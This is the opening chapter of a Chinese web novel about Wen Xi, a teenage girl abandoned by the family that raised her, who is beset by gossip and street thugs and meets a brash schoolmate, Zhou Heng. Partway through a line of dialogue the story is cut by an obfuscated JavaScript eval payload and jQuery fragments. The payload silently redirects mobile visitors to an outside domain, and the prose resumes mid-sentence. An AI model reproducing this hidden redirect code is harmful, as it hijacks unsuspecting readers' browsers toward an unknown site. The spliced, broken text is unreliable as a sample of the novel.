第1章
2016年蓉城某个小镇发生了两件大事。
第一件,首富温家独女温熙并不是温家真正的女儿,真女儿有另有其人。
第二件,同月,温家带着刚刚寻回来的真千金搬去了市里,独独把温熙留了下来。
整个暑假,温家成了大家茶余饭后的谈资,传言中的温熙更是玩劣不堪。
据悉,上周她还把隔壁镇的那个混混给揍了一顿,至于真假,还是那句,没人亲眼看到,都是道听途说。
但有一点是真的,温熙身上一直带着伤,时不时便要去药店买药。
街坊邻居撞见了好几次,每次看到都会在后面磕着瓜子嚼舌根。
“也难怪温家不要她,你看看她那个样子,哪里像个正经女孩。”
“就是,我要是温家我也不要她,真女儿又乖又听话,逢人便打招呼,你看看她,眼睛长在了脑门上,看谁都是一副爱答不理的模样。”
“血缘这东西真的挺重要的,不是自己的孩子,怎么也养不熟。”
“就是就是。”
八卦声就着嗑瓜子的声音传来,听得人烦躁难忍。
温熙走着走着停住,转身折返,顺手抄起靠在墙上的棍子举着朝那群长舌妇走去。
她喜欢动手不动口,所以什么也没说,直直敲了上去。
把放在石桌上的瓜子盘生生敲成两瓣。
尖叫声传来。
“哎呀,要死啦。”
“温熙你看看你现在成什么样了。”
“搁我,我也不要你。”
“你就是欠收拾,看来温家人对你还是太仁慈了,要是我女儿,我早把她腿给打折了。”
温熙又落下一棍子,她们才生生止住,抱起石桌上的棉线球朝自己家跑去。
边跑还不忘回头骂人。
“疯了,疯了,这是疯了。”
“活该被抛弃。”
“我看啊,她就该露宿街头才对。”
“……”
温熙没追上去,顺手把棍子扔在了靠墙的位置,侧腰那里痛到让人痉挛,她手扶着转身再次朝前走去。
污言秽语落在旁人的耳中兴许能起什么风浪,但落在她耳中,已经起不到丝毫涟漪。
因为这样的话听得太多了。
自从爸妈找回真女儿后,这样的话每天都在耳边响起,她们一边恭维寻回来的温家真千金,一边说她不懂事。
似乎都忘了,曾经她也是人人夸的那个。
温熙再次想到了一个月前的那晚。
妈妈把她叫到跟前欲言又止,最后还是爸爸开了口。
“熙熙,按理说咱们一起生活了十几年把你一起带走也没关系,但是你也看到了,阿蕊精神受了刺激,医生说你要是跟着一起走,阿蕊的病更不会好。”
“我们好不容易才寻回她,真的不能再失去。”
“不如你就留下吧,四周邻里也不错,他们会照顾你的。”
听到这里,温熙明白了,可心里还是期翼着不是真的,压着酸楚问:“爸,妈,你们真不要我了吗?”
温父怒吼:“说的什么话,什么叫不要你了,不是给你解释了吗,你妹妹身子不好,我们搬去市里是为了给她看病,她现在很怕你,你跟着去会影响到她,我们这也是没办法的事。”
“爸妈养你这么多年,也是你报答的时候了。”
“多余的不要讲了,你好好在这里住着,我会给你些钱,省着用上学没问题。”
“你记住一点就好,我们没亏欠你什么,你要是有良心的话,对外不要乱编排。”
温熙苦笑,“说这么多,不还是不要我吗。”
那晚,温蕊不知何故晕了过去,温家众人急的团团转,有人出主意,最好连夜搬家。
温熙被温父哄出去买东西,回来后发现家里门开着,人不见,东西也不见了,只留下一封信。
是温母写的,说他们走了,没必要别联系。
还是那夜,家里进了贼,把留下的钱偷走了。
温熙去追,腰上受了伤。
断断续续一个多月了,依然没见好转。
镇上医生的意思是要她去市里大医院看看,温熙没理会,她没钱,也没那精力。
要是真死了,也挺好。
这个世界太污秽,她早就不想呆了。
白天刚受了那些人的气,晚上又被人拦住要保护费。
温熙兜里也就只有五十元,是她这周的生活费,给了他们,她这周只能喝西北方了。
她不给,对方仗着人多冲了上来,推搡间再次撞到了她的侧腰。
这一撞,温熙有种撞碎的感觉。
疼,太疼了。
眼泪啪嗒啪嗒落下来,脸颊上的血色也随着痛意不见,比纸还白。
众人见她倒在地上呻吟,吓得扔掉棍子转身便跑。
温熙等人都跑了,撑着地缓缓站起。
银白月光落下,拂到少女身上,勾勒出她娇艳的容颜,除了脸色泛白外,温熙的五官可以说的上是娇艳。
狭长的眸,小巧的鼻,粉嫩的唇瓣,白皙如玉的肌肤。
凹凸有致的身体曲线,不盈一握的腰肢。
整个小镇找不出一个比她美的。
她拍了拍身上的尘土,吃力朝前走着,几步远的距离,额头溢出细密的汗。
那帮人下手忒狠,伤上加伤,她这腰怕是要好久才能康复。
不敢用力揉,她只能用手轻轻托着,借此缓解痛意。
平时五分钟的路程,她这次用了十五分钟。
买完药,从药店出来,隔壁便利店开着门,她走了进去,越过一排排架子,最后停在了香烟区前,随时拿下一盒,连同打火机一起结账。
收银员是个小姑娘,看温熙拿了烟和打火机,好几次想说什么但最终还是没有说出口。
温熙从她的眼神中看到了同情,自从她被抛弃后,这种眼神多了起来。
谁看她都像是在看流浪狗。
温熙烦透了这种眼神,没等她说什么,付款后,抓起烟和打火机离开。
走的比来时快了很多。
为了避免再看到那些人,她特意绕远走的另一条路。
月明星稀,以前她最喜欢踩着月光走路,旁边有爸妈护着,那个时候,她是温家最宠爱的女儿。
现在……
她什么都不是。
坏人没遇到,遇到了流浪狗。
温熙怕狗,从小就怕,没由来,看到后便会全身发麻。
她可以打人,但没办法和狗硬碰硬。
她腿软的杵在那,希望前方的几只流浪狗自己消失。
狗也是欺软怕硬的,见她一动不动,顿时来了劲,冲着她不停的叫。
边叫边试探着朝她走来。
她退一步,狗近一步。
距离越来越近。
温熙手指紧紧抠着掌心,几乎要抠破。
忽然,巷子尽头有脚步声传来,然后是口哨声。
奇迹似的,那几只流浪狗停了下来,朝口哨声的方向跑去。
温熙透过月光看到了一道模糊的身影,看不清长相,只知道他身形高挑,应该长得还可以吧。
温熙没心情欣赏,见狗跑远,也急忙离开。
本以为只是一个微不足道的插曲,直到那晚再遇。
九月的最后一天。
温熙为人补课折返,自从温家人离开后,她需要自己挣钱养活自己,便接了补课的活。
高中生给小学生补课,还不算不配。
唯一不足的是距离有些远,她需要骑半个小时的车子。
路上的功夫,总能遇到各种找事的人。
温熙不想惹事,可事总会无端找上她。
这次是那帮人看上了她骑的自行车,非要她给了。
车子是温熙借的,她不能给,争执中,温熙打了那几个人,自己也挨了两脚。
一脚落在了她侧腰上。
她痛到差点昏厥。
推着车子狼狈折返,想起家里备的药用完了,她又买了些。
还没走到巷口,便听到前方有人说话。
“阿珩,你看我新烫的头发好看吗?人家可是为了你才烫的。”
“哎呀,你夸夸我嘛。”
暗影里,男生倚着墙,混不吝的声音传来,“我不说了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16559721|186906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗,整个小镇你是最美的那个。”
“又骚又勾人。”
“你真是坏死了。”女生嗲着声音说,“坏的让人想吃。”
“吃什么?”戏谑声再次传来,他说,“有些东西可不能随便吃。”
“会得病。”
接着两人同时笑出声。
温熙很不喜欢这种流氓的对话,折返不太可能,她低下头,打算装看不见擦着墙走过去。
“诶,你谁呀。”女生突然问。
温熙没理会,继续走。
“问你话呢,你谁?”女生晃着男生的手臂撒娇,“阿珩,你说的,不会让人欺负我,你去帮我教训她。”
女生指着温熙道。
温熙最近走霉运,不管是谁都想踩她一脚,以前她喜欢装乖,现在没人管了,她也不用装了,第一次睁眼瞧他们。
“想浪找没人的地方去浪,这是公共场合,脏。”
“你说谁脏呢?你知道我是谁吗?”女生梗着脖子道。
“我管你是谁?”
温熙现在有种她想和全世界作对的感觉,谁招惹她,她给谁好看。
“阿珩,你看她。”女生再次晃动男生的手臂。
那个叫阿珩的男生推开女生,朝前走两步,远处巷口的橘黄灯光映出他的脸。
精雕细琢的五官,高挺的鼻梁,深邃的眼眸,双眼皮褶皱很深,瞳仁偏褐色,看人时眉梢习惯性挑起,神情里透着不屑和审视。
眼尾有颗黑色泪痣,挂在那里,灯光落下,那颗泪痣隐隐泛起光泽,给他俊逸的五官上平添了一抹魅惑。
让他看起来越发痞坏。
虽然才转学去一中一个月,但温熙知道他,一中最不好惹的学生,学习好长相好据说还挺能打。
温熙和他不熟,算是初见。她不想招惹,淡淡收回视线,欲推着车子离开。
可偏偏有人就是上赶着找事。
女生走上前,拦住,“不道歉,不许走。”
温熙停下,“我做什么了,要道歉。”
“你刚看我了,就是冒犯我,必须道歉。”女生强词夺理道。
“你要是怕看可以躲家里别出来。”温熙是想忍的,但有人总是在她底线上踩,没办法忍,“或者把脸罩上。”
“你——”
眼见要吵起来,周珩开了口,“好了,时间不早了,都回吧。”
他一发话,女生顿时不敢说什么了,嗲着声要哭不哭的,躲他怀里要他哄。
温熙没兴趣看他们卿卿我我,推着车子离开小巷。
家里没别人,但隔壁的张奶奶对她还算照顾,要是让张奶奶知道她腰上又有了新伤肯定会难过。
思量再三,温熙去了一处没人的地方,就着小巷口的灯光,掀起衣摆侧转着身子清理伤口。
伤在腰侧偏后,不太好够到的地方,她嘴叼着衣摆,身子半扭吃力上药。
今夜的风很大,吹的四周树木沙沙作响,地上的落叶也随着风乱舞,蝉鸣声似乎都被拉长了。
落耳的那刹让人生出心悸感。
更远处隐藏在云端后的山影泛起了青色的涟漪,细看下像是用笔勾勒而成的画卷。
温熙吃力的擦拭着,有力的脚步声就着风声和蝉鸣声齐齐涌来。
她抬眸,隔着光影看到了几步外的人。
周珩手里拎着一罐啤酒,衬衣随意敞着露出里面的白色T恤,衬衣袖子撸到了手肘处,小臂上那道疤痕清晰可见。
他手中啤酒冒着白雾发出呲呲的声音,走到半路,他从口袋里拿出烟和打火机,唇叼着烟,低头点燃。
烟雾缭绕,他颓的刺目。
温熙之前在市里最好的高中上学,暑假后才转来的一中,遇到周珩这种不好惹的人,她多数时候是绕着走的。
可不知怎地,脑海中突然蹦出方才他和女生打情骂俏的样子,鬼使神差,她主动开了口。
“欸,同学,借个打火机。”
周珩停下,眼睛像是被水洗过似的,雾蒙蒙,声音带着欲。
“人你要不要?”
“你吗?”温熙放下衣摆,纤长的眼睫翘起好看的弧,故意说,“你,我就要。”